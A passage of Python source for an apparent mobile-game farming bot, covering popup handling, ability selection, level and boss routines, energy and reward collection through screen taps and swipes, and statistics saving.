self.pressIfDead()\n                    else:\n                        logging.info(\"Turn on 'DeadCheck' to use gems to revive!\")\n                        self.wait(3)\n                        logging.info(\"Sorry, you most likely died.\")\n                        self.altEndgameClose()\n                else:\n                    self.changeEndStatus(self.endStatus + 8)  # Probably-Won\n                    logging.info(\"You most likely won out of cycle.\")\n                    self.altEndgameClose()\n            elif state == \"ability_refresh\":\n                logging.debug(\"Cancel Abilty Refresh\")\n                self.tap('close_ability_refresh')\n                self.wait(1)\n            elif state == \"select_ability\":\n                self.chooseBestAbility()\n            elif state == \"fortune_wheel\":\n                self.tap('wheel_start')\n                self.wait(6)\n            elif state == \"devil_question\":\n                self.tap('daemon_reject')\n                self.wait(2)\n            elif state == \"ad_ask\":\n                if self.battle_pass_advanced:\n                    self.tap('wheel_start')\n                    self.wait(6)\n                else:\n                    self.tap('wheel_back')\n                    self.wait(2)\n            elif state == \"mistery_vendor\":\n                if self.battle_pass_advanced:\n                    logging.debug(\"Checking for Mystery Vendor Ad\")\n                    if self.screen_connector.checkFrame(\"mystery_vendor_ad\"):\n                        logging.debug(\"Collecting Free Stuff\")\n                        self.tap('wheel_start')\n                        self.wait(6)\n                        self.tap('wheel_back')\n                        self.wait(2)\n                    else:\n                        self.tap('wheel_back')\n                        self.wait(2)\n                else:\n                    self.tap('wheel_back')\n                    self.wait(2)\n            elif state == \"special_gift_respin_no_back_button\":\n                # Special reward state without back button (down-left location).\n                # Just wait 2 seconds for special_gift_respin state to arrive.\n                if self.battle_pass_advanced:\n                    self.wait(2)\n                else:\n                    self.wait(2)\n            elif state == \"special_gift_respin\":\n                if self.battle_pass_advanced:\n                    self.tap('wheel_start')\n                    self.wait(6)\n                else:\n                    self.tap('wheel_back')\n                    self.wait(2)\n            elif state == \"angel_heal\":\n                if self.local_settings.healing_strategy == HealingStrategy.SmartHeal:\n                    logging.debug(\"Popups. SmartHeal\")\n                    self.tap('heal_right' if self.smartHealChoice else 'heal_left')\n                else:\n                    logging.debug(\"Popups. NormalHeal\")\n                    hs = self.local_settings.healing_strategy\n                    self.tap('heal_right' if hs == HealingStrategy.AlwaysHeal else 'heal_left')\n                self.wait(2)\n            elif state == \"on_pause\":\n                self.tap('resume')\n                self.wait(2)\n            elif state == \"time_prize\":\n                self.tap(\"collect_time_prize\")\n                self.wait(5)\n                self.tap(\"resume\")\n                self.wait(2)\n            elif state == \"menu_home\" or state == \"menu_talents\" or state == \"menu_events\" or \\\n                    state == \"menu_equip\" or state == \"menu_shop\":\n                raise Exception('mainscreen')\n            elif state == \"crash_desktop_open\":\n                raise Exception('crashdesktop')\n            if i > self.max_loops_popup:\n                logging.info(\"React-Popups. Max loops reached\")\n                raise Exception('unknown_screen_state')\n            i += 1\n        return i\n\n    def chooseBestAbility(self):\n        abilities = self.screen_connector.getAbilityType()\n        try:\n            t1 = self.tier_list_abilities[abilities['l']]\n            t2 = self.tier_list_abilities[abilities['c']]\n            t3 = self.tier_list_abilities[abilities['r']]\n            to_press = 'ability_center'\n            best = \"\"\n            if t1 <= t2 and t1 <= t3:\n                to_press = 'ability_left'\n                best = abilities['l']\n            elif t2 <= t1 and t2 <= t3:\n                to_press = 'ability_center'\n                best = abilities['c']\n            elif t3 <= t2 and t3 <= t1:\n                to_press = 'ability_right'\n                best = abilities['r']\n            logging.debug(\"Found best ability as \" + best)\n            self.log(\"Choosing '{}'\".format(best))\n            self.tap(to_press)\n            self.wait(1)  # wait for ability apply\n        except Exception as e:\n            logging.error(\"Exception. Unable to choose best ability.\")\n            logging.debug(\"Reason: \" + str(e))\n            self.log(\"Choosing 'Left Button'\")\n            self.tap('ability_left')\n            self.wait(1)  # wait for ability apply\n\n    def crash_level_restart(self):\n        if self.restartStatus:\n            self.swipe('n', .45)\n            self.wait(2)\n            self.restartStatus = False\n\n    def intro_lvl(self):\n        logging.debug(\"Getting Start Items\")\n        self.wait(10)  # inital wait for ability wheel to load\n        self.reactGamePopups()\n        self.swipe('n', 3)\n        self.reactGamePopups()\n        self.swipe('n', 0.2)\n        self.reactGamePopups()\n        self.log(\"Leaving Start Room\")\n        self.swipe('n', 2)\n        self.log(\"Entering Dungeon!\")\n        self.wait(0.5)  # for GUI log to load\n\n    def normal_lvl(self):\n        logging.debug(\"normal_lvl\")\n        self.crash_level_restart()\n        self.goTroughDungeon()\n        self.letPlay(self.playtime)\n        self.reactGamePopups()\n        self.exit_dungeon_uncentered()\n\n    def heal_lvl(self):\n        logging.debug(\"heal_lvl\")\n        if self.local_settings.healing_strategy == HealingStrategy.SmartHeal:\n            logging.debug(\"Smart Heal Check\")\n            if self.screen_connector.checkFrame(\"smart_heal_hp_check\"):\n                logging.debug(\"HP GREATER than 50%\")\n                self.smartHealChoice = False\n            else:\n                logging.info(\"HP LESS than 50%\")\n                self.smartHealChoice = True\n        self.log(\"Cenering Self\")\n        self.move_macro(0, [['e', 2], ['s', 2], ['w', .9]])\n        self.log(\"Approaching Healer\")\n        self.swipe('n', 1.5)\n        self.reactGamePopups()\n        self.swipe('n', .65)\n        self.reactGamePopups()\n        logging.debug(\"Exiting Heal\")\n        self.log(\"Leaving Healer\")\n        self.move_macro(0, [['e', 1], ['n', .25], ['nw', 2.5]])\n        self.log(\"Left Dungeon\")\n        self.wait(0.5)  # for GUI log to load\n\n    def boss_lvl(self):\n        logging.debug(\"boss_lvl\")\n        self.crash_level_restart()\n        self.log(\"Attacking Boss\")\n        self.move_macro(0, [['n', 0.2], ['n', 0.7], ['e', 1], ['nw', 2]])\n        if self.currentDungeon == 16:\n            if self.currentLevel == 10:\n                self.reactGamePopups()\n                self.move_macro(0, [['nw', 1.5], ['ne', 1.5]])\n            elif self.currentLevel == 15:\n                self.move_macro(0, [['n', .4], ['w', .4]])\n        self.swipe('ne', 2)\n        self.swipe('nw', 1.25)\n        self.letPlay(self.playtime, is_boss=True)\n        self.reactGamePopups()\n        if self.currentDungeon == 7 or self.currentDungeon == 14:\n            self.move_macro(0, [['w', 0.7], ['e', 0.8], ['w', 0.6]])\n            self.wait(2)  # wait for popups to laod\n            self.reactGamePopups()\n        self.log(\"Moving to Door\")\n        self.move_macro(0, [['s', .5], ['w', .3], ['nw', 2.5], ['e', .4], ['n', 1.5], ['e', .65]])\n        if self.currentDungeon == 7 or self.currentDungeon == 14:\n            self.move_macro(0, [['s', 0.5], ['e', 0.85], ['ne', 0.75], ['nw', 0.7], ['w', 0.55]])\n            self.wait(2)  # wait for popups to laod\n            self.reactGamePopups()\n            if self.currentLevel == 5 or self.currentLevel == 6:\n                self.move_macro(0, [['s', 0.3], ['ne', 0.6], ['nw', 0.6]])\n            if self.currentLevel == 8 or self.currentLevel == 9:\n                self.move_macro(0, [['s', 0.3], ['w', 0.3], ['nw', 0.6]])\n        self.exit_dungeon_uncentered()\n\n    def checkIfDead(self):\n        logging.debug(\"Started Dead Check\")\n        if self.screen_connector.checkFrame(\"you_died_ad\"):\n            self.pressIfDead()\n        logging.debug(\"Completed Dead Checks\")\n\n    def pressIfDead(self):\n        if self.battle_pass_advanced:\n            self.tap(\"revive_ad\")\n            logging.info(\"You revived with Ad.\")\n            self.wait(.5)\n        else:\n            self.tap(\"revive_gems\")\n            logging.info(\"You revived with Gems.\")\n            self.wait(.5)\n\n    def boss_final(self):\n        logging.debug(\"boss_final\")\n        self.crash_level_restart()\n        self.log(\"Final Boss Appeared\")\n        self.log(\"Attacking Final Boss\")\n        if self.currentDungeon == 3 or self.currentDungeon == 6 or self.currentDungeon == 10:\n            self.swipe('w', 2)\n            i = 0\n            while i < self.max_wait:\n                self.wait(self.sleep_btw_screens)\n                if self.screen_connector.checkBoss3Died():\n                    logging.debug(\"boss dead and door open #3\")\n                    self.log(\"Boss Dead #1\")\n                    break\n                if self.screen_connector.checkBoss6Died():\n                    logging.debug(\"boss dead and door open #6\")\n                    self.log(\"Boss Dead #2\")\n                    break\n                if self.screen_connector.checkBoss10Died():\n                    logging.debug(\"boss dead and door open #10\")\n                    self.log(\"Boss Dead #3\")\n                    break\n                if self.deadcheck or self.battle_pass_advanced:\n                    self.checkIfDead()\n                logging.debug(i)\n                i += 1\n            self.reactGamePopups()\n            self.log(\"No Loot Left\")\n            logging.debug(\"Exiting the Dungeon Final Boss\")\n            self.log(\"Leaving Dungeon\")\n            self.move_macro(0, [['n', 5], ['ne', 3]])\n            self.log(\"Left Dungeon!\")\n        else:\n            self.move_macro(0, [['n', 0.2], ['n', 0.7], ['e', 1],\n                                ['nw', 1.8], ['ne', 1.8], ['nw', 1]])\n            i = 1\n            while i < self.max_wait:\n                self.log(\"Avoiding Boss\")\n                if self.deadcheck:\n                    self.checkIfDead()\n                    self.swipe('w', 0.5)\n                    self.checkIfDead()\n                    self.swipe('e', 1)\n                    self.checkIfDead()\n                    self.swipe('w', 0.5)\n                else:\n                    self.move_macro(0, [['w', 0.5], ['e', 1], ['w', 0.5]])\n                    self.wait(self.sleep_btw_screens)\n                i += 1\n            self.reactGamePopups()\n            self.log(\"Moving to Door\")\n            self.move_macro(0, [['s', .5], ['w', .5], ['nw', 3], ['n', 2], ['e', .85]])\n            if self.currentDungeon == 7 or self.currentDungeon == 14:\n                self.move_macro(0, [['s', .5], ['e', .8], ['ne', .5], ['nw', .8]])\n                self.reactGamePopups()\n            self.log(\"No Loot Left\")\n            logging.debug(\"Exiting the Dungeon Final Boss\")\n            self.log(\"Leaving Dungeon\")\n            self.move_macro(0, [['e', 1], ['nw', 2.5]])\n            self.log(\"Left Dungeon!\")\n        i = 0\n        self.wait(8)  # wait for endgame loot screen to load\n        state = self.screen_connector.getFrameState()\n        if state == \"in_game\":\n            logging.info(\"Exception. Still in_game; let's try to escape\")\n        elif state == \"endgame\":\n            return\n        else:\n            logging.info(\"state: %s\" % state)\n        while state == \"in_game\":\n            if self.deadcheck:\n                self.checkIfDead()\n            else:\n                self.wait(self.sleep_btw_screens)\n            if i == 1:\n                logging.info(\"Trying now; escape plan A!\")\n                self.log(\"Escape Plan A!\")\n                if self.deadcheck or self.battle_pass_advanced:\n                    self.checkIfDead()\n                self.move_macro(0, [['n', 1.5], ['s', .6], ['e', .3], ['ne', 1]])\n            elif i == 2:\n                logging.info(\"Trying now; escape plan B!\")\n                self.log(\"Escape Plan B!\")\n                if self.deadcheck or self.battle_pass_advanced:\n                    self.checkIfDead()\n                self.move_macro(0, [['n', 1.5], ['s', .6], ['w', .3], ['nw', 1]])\n                self.wait(8)  # wait killing mobs/boss\n            elif i == 3:\n                logging.info(\"Trying now; escape plan C!\")\n                self.log(\"Escape Plan C!\")\n                if self.deadcheck or self.battle_pass_advanced:\n                    self.checkIfDead()\n                self.move_macro(0, [['n', 1.5], ['s', .9], ['e', .6], ['nw', 2]])\n                self.wait(10)  # wait killing mobs/boss\n            elif i == 4:\n                logging.info(\"Trying now; escape plan D!\")\n                self.log(\"Escape Plan D!\")\n                if self.deadcheck or self.battle_pass_advanced:\n                    self.checkIfDead()\n                self.move_macro(0, [['n', 1.5], ['s', .9], ['w', .6], ['ne', 2]])\n                self.wait(10)  # wait killing mobs/boss\n            elif i == 5:\n                logging.info(\"YOLO; escape plan E!\")\n                self.log(\"Escape Plan E!\")\n                if self.deadcheck or self.battle_pass_advanced:\n                    self.checkIfDead()\n                self.move_macro(0, [['n', 1.66], ['s', .66], ['w', .66], ['n', .66], ['ne', .66],\n                                    ['s', .66], ['e', .66], ['n', .66], ['nw', .66], ['ne', 1.66], ['nw', 1.66]])\n                self.wait(10)  # wait killing mobs/boss\n            elif i > 6:\n                break\n            state = self.screen_connector.getFrameState()\n            if state == \"angel_heal\":\n                if self.local_settings.healing_strategy == HealingStrategy.SmartHeal:\n                    logging.debug(\"Popups. SmartHeal\")\n                    self.tap('heal_right' if self.smartHealChoice else 'heal_left')\n                else:\n                    logging.debug(\"Popups. NormalHeal\")\n                    hs = self.local_settings.healing_strategy\n                    self.tap('heal_right' if hs == HealingStrategy.AlwaysHeal else 'heal_left')\n                self.wait(2)\n                self.move_macro(0, [['n', .65], ['e', .9], ['n', .25], ['nw', 1.8]])\n                self.wait(2)  # wait for room transition to complete\n                state = self.screen_connector.getFrameState()\n            self.move_macro(0, [['n', 1.5], ['nw', 1.5], ['s', .3], ['e', .5], ['n', .3],\n                                ['ne', 1.5], ['s', .3], ['w', .5], ['n', 1.5]])\n            self.wait(2)  # wait for room transition to complete\n            i += 1\n\n    def start_one_game(self):\n        self.unknownStatus = 0\n        i = 0\n        while i <= self.max_loops_game:\n            self.battle_pass_advanced = self.local_settings.bpadv_sub == BattlepassAdvSub.TrueBPAdv\n            self.deadcheck = self.local_settings.revive_ifdead == ReviveIfDead.TrueRevive\n            self.startStatus = 1  # Normal-Start\n            self.endStatus = 0\n            if self.unknownStatus > 3:\n                logging.info(\"UknownStatus Loop Count: %s\" % self.unknownStatus)\n                self.tap(\"open_game\")\n                self.wait(0.5)\n                self.tap(\"farm_back\")\n                self.unknownStatus = 0\n                self.wait(5)\n            state = self.screen_connector.getFrameState()\n            logging.info(\"Start state: %s\" % state)\n            if state == \"game_not_responding\":\n                logging.info(\"Closing Game to Restart\")\n                self.tap(\"game_not_respond_ok\")\n                self.wait(10)\n            if state == \"menu_talents\" or state == \"menu_events\":\n                logging.info(\"Changing to World Menu\")\n                self.tap(\"menu_world_left\")\n                self.wait(2)\n            elif state == \"menu_equip\" or state == \"menu_shop\":\n                logging.info(\"Changing to World Menu\")\n                self.tap(\"menu_world_right\")\n                self.wait(2)\n            elif state == \"monster_farm_home\":\n                logging.info(\"Change to World Menu\")\n                self.tap(\"farm_back\")\n                self.wait(6)\n            elif state == \"menu_expedition\":\n                logging.info(\"Change to World Menu\")\n                self.tap(\"farm_back\")\n                self.wait(6)\n            elif state == \"crash_desktop_open\":\n                self.changeStartStatus(self.startStatus + 1)  # Crash-Desktop\n                self.restartStatus = True\n                logging.info(\"Opening Game Now\")\n                self.tap(\"open_game\")\n                self.wait(90)\n            if state == \"crash_load_screen_1\" or state == \"crash_load_screen_2\":\n                logging.info(\"Not Loaded Yet, waiting 60 more\")\n                self.wait(60)\n            if self.currentLevel > 0:\n                if self.screen_connector.checkFrame('menu_home'):\n                    logging.debug(\"Home Menu detected... setting to lvl 0 now.\")\n                    self.currentLevel = 0  # allows to continue playing if at home_menu\n                elif self.currentLevel > self.max_level:\n                    self.currentLevel = 1  # allows to start playing 20+ levels\n                self.wait(0.5)  # for GUI logs to sync\n            self.stat_lvl_start = self.currentLevel\n            self.levelChanged.emit(self.currentLevel)\n            if self.currentLevel > 0:\n                self.checkForAds()\n            elif self.currentLevel == 0:\n                self.checkForEnergy()\n            logging.debug(\"Selected Dungeon is %d\" % self.currentDungeon)\n            logging.info(\"New game. Starting from level %d\" % self.currentLevel)\n            try:\n                self.start_date = datetime.now()\n                self.screen_connector.stopRequested = False\n                if self.currentLevel == 0:\n                    if state == 'in_game':\n                        self.play_one_game()\n                    else:\n                        self.chooseCave()\n                else:\n                    self.play_one_game()\n            except Exception as exc:\n                if exc.args[0] == \"mainscreen\":\n                    self.changeEndStatus(self.endStatus + 1)  # Main-Screen\n                    self.runStatiscticsSave()\n                    logging.info(\"Exception. Main Menu, restarting now.\")\n                    self.log(\"Preparing to rest game\")\n                elif exc.args[0] == \"crashdesktop\":\n                    self.changeEndStatus(self.endStatus + 2)  # Crash-Desktop\n                    self.runStatiscticsSave()\n                    logging.info(\"Exception. Crash Desktop, restarting now.\")\n                    self.log(\"Preparing to rest game\")\n                elif exc.args[0] == \"altendgame\":\n                    logging.info(\"Exception. Alt Endgame, restarting now.\")\n                    self.log(\"Preparing to rest game\")\n                elif exc.args[0] == \"unknown_screen_state\":\n                    self.changeEndStatus(self.endStatus + 3)  # Screen-Unknown\n                    self.runStatiscticsSave()\n                    state = self.screen_connector.getFrameState()\n                    logging.info(\"state: %s\" % state)\n                    logging.info(\"Exception. Unknown State, restarting now.\")\n                    self.log(\"Preparing to rest game\")\n                    self.wait(4)  # waiting for magic\n                    self.unknownStatus += 1\n                else:\n                    self.changeEndStatus(self.endStatus + 4)  # Exception-Unknown\n                    self.runStatiscticsSave()\n                    logging.info(\"Exception. Unknown problem: %s\" % exc)\n                    self.log(\"Unknown Problem... halp!\")\n                    self.exitEngine()\n            i += 1\n            logging.info(\">>>>>>>>>>> Completed Farming Bot Loop <<<<<<<<<<<\")\n            logging.info(i)\n        if i > self.max_loops_game:\n            logging.info(\"Max Bot Loops Reached. Farming complete!\")\n            self.log(\"Farming complete!\")\n            self.exitEngine()\n\n    def runStatiscticsSave(self):\n        logging.debug(\"*** Saving Game Statistics ***\")\n        self.statisctics_manager.saveOneGame(self.start_date, self.stat_lvl_start, self.currentLevel,\n                                             self.currentDungeon, self.startStatus, self.endStatus)\n\n    def checkForEnergy(self):\n        energy_check = True\n        while energy_check:\n            self.checkForAds()\n            state = self.screen_connector.getFrameState()\n            logging.debug(\"state: %s\" % state)\n            if state == 'menu_home':\n                logging.debug(\"Going to next step\")\n            elif state == 'endgame':\n                self.pressCloseEndgame()\n            elif state == 'in_game':\n                break\n            elif state != 'in_game':\n                break\n            logging.info(\"Checking for Energy\")\n            if self.screen_connector.checkFrame(\"least_5_energy\"):\n                energy_check = False\n                logging.info(\"Energy is Good\")\n            else:\n                check_farm = True\n                check_energy = True\n                if self.battle_pass_advanced:\n                    logging.info(\"BPAdv Free Energy Check\")\n                    self.log(\"Free Energy Check\")\n                    self.tap('open_energy_buy')\n                    self.wait(8)  # wait for load energy store\n                    if self.screen_connector.checkFrame(\"free_ad_energy\"):\n                        logging.info(\"xxxxxxxxxxxxxxxxx Free Ad Energy xxxxxxxxxxxxxxxxx\")\n                        self.tap('get_ad_energy')\n                        self.wait(6)  # wait for load energy bar\n                        check_farm = False\n                        check_energy = False\n                    else:\n                        self.tap('close_energy_buy')\n                        self.wait(4)  # wait for close buy energy\n                if check_farm:\n                    logging.info(\"Monster Farm Energy Check\")\n                    self.log(\"Farm Energy Check\")\n                    self.tap('farm_open')\n                    self.wait(6)  # wait for farm open\n                    frame = self.screen_connector.getFrame()\n                    is_farm_visit = self.screen_connector.checkFrame(\"monster_farm_visit\", frame)\n                    is_farm_visit_free = self.screen_connector.checkFrame(\"monster_farm_visit_free\", frame)\n                    if is_farm_visit or is_farm_visit_free:\n                        logging.info(\"xxxxxxxxxxxxxxx Monster Farm Energy xxxxxxxxxxxxxx\")\n                        if self.screen_connector.checkFrame(\"monster_farm_visit_free\", frame):\n                            self.tap('farm_visit')\n                            self.wait(4)  # wait for farm load\n                        self.tap('farm_visit')\n                        self.wait(4)  # wait for farm load\n                        self.tap('farm_energy_1')\n                        self.wait(2)  # wait for energy load\n                        self.tap('farm_energy_1')\n                        self.wait(2)  # wait for energy close\n                        self.tap('farm_energy_2')\n                        self.wait(2)  # wait for energy load\n                        self.tap('farm_energy_2')\n                        self.wait(2)  # wait for energy close\n                        self.tap('farm_energy_3')\n                        self.wait(2)  # wait for energy load\n                        self.tap('farm_energy_3')\n                        self.wait(2)  # wait for energy close\n                        self.tap('farm_energy_4')\n                        self.wait(2)  # wait for energy load\n                        self.tap('farm_energy_4')\n                        self.wait(2)  # wait for energy close\n                        i = 1\n                        while i < 3:\n                            frame = self.screen_connector.getFrame()\n                            if self.screen_connector.checkFrame(\"monster_farm_visit_again\", frame):\n                                logging.info(\"xxxxxxxxxxxx Monster Farm Energy Again xxxxxxxxxxx\")\n                                self.tap('farm_visit_again')\n                                self.wait(4)  # wait for farm load\n                                self.tap('farm_energy_1')\n                                self.wait(2)  # wait for energy load\n                                self.tap('farm_energy_1')\n                                self.wait(2)  # wait for energy close\n                                self.tap('farm_energy_2')\n                                self.wait(2)  # wait for energy load\n                                self.tap('farm_energy_2')\n                                self.wait(2)  # wait for energy close\n                                self.tap('farm_energy_3')\n                                self.wait(2)  # wait for energy load\n                                self.tap('farm_energy_3')\n                                self.wait(2)  # wait for energy close\n                                self.tap('farm_energy_4')\n                                self.wait(2)  # wait for energy load\n                                self.tap('farm_energy_4')\n                                self.wait(2)  # wait for energy close\n                            i += 1\n                        self.wait(2)  # wait for energy close\n                        self.tap('farm_back')\n                        self.wait(4)  # wait for farm back\n                        check_energy = False\n                    self.tap('farm_back')\n                    self.wait(6)  # wait for menu_home\n                if check_energy:\n                    logging.info(\"Energy Strategy Check\")\n                    self.log(\"Energy Strategy Check\")\n                    if self.local_settings.energy_strategy == EnergyStrategy.AlwaysBuy:\n                        self.buy_energy = True\n                        self.max_buy_energy = 1\n                    elif self.local_settings.energy_strategy == EnergyStrategy.AlwaysBuy2:\n                        self.buy_energy = True\n                        self.max_buy_energy = 2\n                    elif self.local_settings.energy_strategy == EnergyStrategy.AlwaysBuy3:\n                        self.buy_energy = True\n                        self.max_buy_energy = 3\n                    elif self.local_settings.energy_strategy == EnergyStrategy.AlwaysBuy4:\n                        self.buy_energy = True\n                        self.max_buy_energy = 4\n                    else:\n                        self.buy_energy = False\n                    state = self.screen_connector.getFrameState()\n                    logging.debug(\"state: %s\" % state)\n                    if self.buy_energy and state == 'menu_home':\n                        if self.energy_count <= self.max_buy_energy:\n                            self.tap('open_energy_buy')\n                            self.wait(8)  # wait for load energy store\n                            self.tap('buy_more_energy')\n                            self.wait(6)  # wait for load energy bar\n                            logging.info(\"xxxxxxxxxxxxxxxxxx Bought Energy xxxxxxxxxxxxxxxxx\")\n                            logging.info(self.energy_count)\n                            self.energy_count += 1\n                        else:\n                            logging.info(\"Max energy buy reached, waiting for 60 minutes\")\n                            self.log(\"No Energy\")\n                            self.noEnergyLeft.emit()\n                            self.wait(3605)  # wait for time to gain 5 energy\n                    elif state == 'in_game':\n                        break\n                    else:\n                        logging.info(\"No energy, waiting for 60 minutes\")\n                        self.log(\"No Energy\")\n                        self.noEnergyLeft.emit()\n                        self.wait(3605)  # wait for time to gain 5 energy\n\n    def checkForAds(self):\n        self.log(\"Checking conditions\")\n        self.log(\"Please wait\")\n        self.log(\"Checks are running\")\n        logging.debug(\"Start-Game. Checking screen...\")\n        state = self.screen_connector.getFrameState()\n        logging.info(\"Ads state: %s\" % state)\n        ui_changed = False\n        frame = self.screen_connector.getFrame()\n        logging.info(\"Checking for Announcement\")\n        if self.screen_connector.checkFrame(\"game_announcement\", frame):\n            logging.info(\"Closing Announcement\")\n            self.tap(\"close_announcement\")\n            self.wait(4)\n            ui_changed = True\n        frame = self.screen_connector.getFrame() if ui_changed else frame\n        ui_changed = False\n        logging.info(\"Checking for Legendary_Challenge\")\n        if self.screen_connector.checkFrame(\"legendary_challenge\", frame):\n            logging.info(\"Okay to new Legendary Challenge\")\n            self.tap(\"close_legendary_challenge\")\n            self.wait(4)\n            ui_changed = True\n        frame = self.screen_connector.getFrame() if ui_changed else frame\n        ui_changed = False\n        logging.info(\"Checking for New_Season\")\n        if self.screen_connector.checkFrame(\"popup_new_season\", frame):\n            logging.info(\"Okay to New Season. Update BPAdv dropdown in GUI to False\")\n            self.tap(\"close_new_season\")\n            self.battle_pass_advanced = False  # only works once manully set dropdown in GUI to False\n            self.wait(4)\n            ui_changed = True\n        frame = self.screen_connector.getFrame() if ui_changed else frame\n        ui_changed = False\n        logging.info(\"Checking for patrol_reward\")\n        if self.screen_connector.checkFrame(\"popup_home_patrol\", frame):\n            logging.info(\"Collecting time patrol\")\n            self.tap(\"collect_hero_patrol\")\n            self.wait(6)\n            self.tap(\"collect_hero_patrol\")  # click again somewhere to close popup with token things\n            ui_changed = True\n        frame = self.screen_connector.getFrame() if ui_changed else frame\n        ui_changed = False\n        logging.info(\"Checking for patrol_close\")\n        if self.screen_connector.checkFrame(\"btn_home_time_reward\", frame):\n            logging.info(\"Closing patrol_close\")\n            self.tap(\"close_hero_patrol\")\n            self.wait(4)\n            ui_changed = True\n        if self.local_settings.vip_sub == VIPSub.TrueVIP:\n            frame = self.screen_connector.getFrame() if ui_changed else frame\n            ui_changed = False\n            logging.info(\"Checking for vip_reward_1\")\n            if self.screen_connector.checkFrame(\"popup_vip_rewards\", frame):\n                logging.info(\"Reset Energy Count\")  # Reset Energy Count Every 24 Hours\n                self.energy_count = 1\n                logging.info(\"Collecting VIP-Privilege Rewards 1\")\n                self.log(\"VIP-Privilege Rewards 1\")\n                self.tap(\"collect_vip_rewards\")\n                self.wait(6)\n                self.tap(\"close_vip_rewards\")\n                self.wait(4)\n                ui_changed = True\n            frame = self.screen_connector.getFrame() if ui_changed else frame\n            ui_changed = False\n            logging.info(\"Checking for vip_reward_2\")\n            if self.screen_connector.checkFrame(\"popup_vip_rewards\", frame):\n                logging.info(\"Collecting VIP-Privilege Rewards 2\")\n                self.log(\"VIP-Privilege Rewards 2\")\n                self.tap(\"collect_vip_rewards\")\n                self.wait(6)\n                self.tap(\"close_vip_rewards\")\n                self.wait(4)\n                ui_changed = True\n        frame = self.screen_connector.getFrame() if ui_changed else frame\n        ui_changed = False\n        logging.info(\"Checking for need_this\")\n        if self.screen_connector.checkFrame(\"popup_need_this\", frame):\n            logging.info(\"Rejecting Must Need Ad 0\")\n            self.tap(\"close_need_this\")\n            self.wait(4)\n            ui_changed = True\n        frame = self.screen_connector.getFrame() if ui_changed else frame\n        ui_changed = False\n        logging.info(\"Checking for need_this_1\")\n        if self.screen_connector.checkFrame(\"popup_need_this_1\", frame):\n            logging.info(\"Rejecting Must Need Ad 1\")\n            self.tap(\"close_need_this\")\n            self.wait(4)\n            ui_changed = True\n        frame = self.screen_connector.getFrame() if ui_changed else frame\n        ui_changed = False\n        logging.info(\"Checking for need_this_2\")\n        if self.screen_connector.checkFrame(\"popup_need_this_2\", frame):\n            logging.info(\"Rejecting Must Need Ad 2\")\n            self.tap(\"close_need_this_2\")\n            self.wait(4)\n            ui_changed = True\n        frame = self.screen_connector.getFrame() if ui_changed else frame\n        ui_changed = False\n        logging.info(\"Checking for welcome_back\")\n        if self.screen_connector.checkFrame(\"popup_welcome_back\", frame):\n            logging.info(\"Rejecting Welcome Back Ad\")\n            self.tap(\"close_need_this\")\n            self.wait(4)\n            ui_changed = True\n        frame = self.screen_connector.getFrame() if ui_changed else frame\n        ui_changed = False\n        logging.info(\"Checking for time_prize\")\n        if self.screen_connector.checkFrame(\"time_prize\", frame):\n            logging.info(\"Collecting time prize\")\n            self.tap(\"collect_time_prize\")\n            self.wait(5)\n            self.tap(\"resume\")\n            self.wait(2)\n            ui_changed = True\n        frame = self.screen_connector.getFrame() if ui_changed else frame\n        # ui_changed = False\n        logging.info(\"Checking for Contine Game\")\n        if self.screen_connector.checkFrame(\"crash_continue_yes\", frame):\n            logging.info(\"Resuming Previous Game\")\n            self.tap(\"continue_yes\")\n            self.wait(10)\n            # ui_changed = True\n\n    def chooseCave(self):\n        logging.debug(\"Choosing Cave Start\")\n        self.log(\"Main Menu\")\n        self.tap('start')\n        self.wait(6)  # wait for no_raid button to load\n        logging.debug(\"Checking for raid options\")\n        if not self.screen_connector.checkFrame(\"quick_raid_option\"):\n            logging.debug(\"No Quick Raid Option, win 5 times first\")\n        else:\n            logging.debug(\"Normal raid button detected\")\n            self.tap('start_no_raid')\n        self.play_one_game()\n\n    def play_one_game(self):\n        # Get level type (T50, T20, ....)\n        lvl_TXX = self.chapters_info[str(self.currentDungeon)]\n        # Get levels with DungeonLevelType\\\\\n        levels_type = self.levels_info[lvl_TXX.type]\n        max_lvl = MaxLevelFromType(lvl_TXX.type)\n        if True:\n            logging.debug(\"Runing a {} Level Dungeon\".format(max_lvl))\n            if self.currentLevel < 0 or self.currentLevel > max_lvl:\n                logging.debug(\"level out of range: %d\" % self.currentLevel)\n                self.exitEngine()\n            self.max_level = max_lvl\n            while self.currentLevel <= self.max_level:\n                logging.debug(\"***********************************\")\n                logging.info(\"Level %d: %s\" % (self.currentLevel, str(levels_type[self.currentLevel].name)))\n                logging.debug(\"***********************************\")\n                if levels_type[self.currentLevel] == DungeonLevelType.Intro:\n                    self.intro_lvl()\n                elif levels_type[self.currentLevel] == DungeonLevelType.Normal:\n                    self.normal_lvl()\n                elif levels_type[self.currentLevel] == DungeonLevelType.Heal:\n                    self.heal_lvl()\n                elif levels_type[self.currentLevel] == DungeonLevelType.FinalBoss:\n                    self.boss_final()\n                elif levels_type[self.currentLevel] == DungeonLevelType.Boss:\n                    self.boss_lvl()\n                self.changeCurrentLevel(self.currentLevel + 1)\n            self._manage_exit_from_endgame()\n\n    def _manage_exit_from_endgame(self):\n        logging.debug(\"manage_exit_from_endgame\")\n        self.wait(8)  # wait for endgame loot screen to load\n        state = self.screen_connector.getFrameState()\n        logging.info(\"End state: %s\" % state)\n        if state == 'menu_home':\n            self.changeEndStatus(self.endStatus + 1)  # Main Screen\n            self.runStatiscticsSave()\n            logging.info(\"Exit_Endgame. Home Menu Detected.\")\n            return\n        elif state == 'in_game':\n            self.changeEndStatus(self.endStatus + 9)  # Probably Stuck\n            self.runStatiscticsSave()\n            logging.info(\"Exit_Endgame. You are still in_game; you most likely got stuck!\")\n            return\n        elif state == 'angel_heal':\n            self.changeEndStatus(self.endStatus + 9)  # Probably Stuck\n            self.runStatiscticsSave()\n            logging.info(\"Exit_Endgame. Maybe you got stuck; or unexpected screen?\")\n            self.currentLevel = 2\n            self.wait(0.5)  # wait for GUI load\n            return\n        elif state == 'endgame':\n            self.changeEndStatus(self.endStatus + 5)  # Won Game\n            self.runStatiscticsSave()\n            logging.info(\"Exit_Endgame. You won!\")\n            self.log(\"You won, Game over!\")\n            self.gameWon.emit()\n            self.pressCloseEndgame()\n        elif state != 'endgame':\n            self.changeEndStatus(self.endStatus + 9)  # Probably Stuck\n            self.runStatiscticsSave()\n            logging.info(\"Exit_Endgame. Maybe you leveled up; or unexpected screen?\")\n            self.tap('level_up_endgame')  # maybe you leveled up trying to get endgame\n            self.wait(8)  # wait for endgame loot screen to load\n        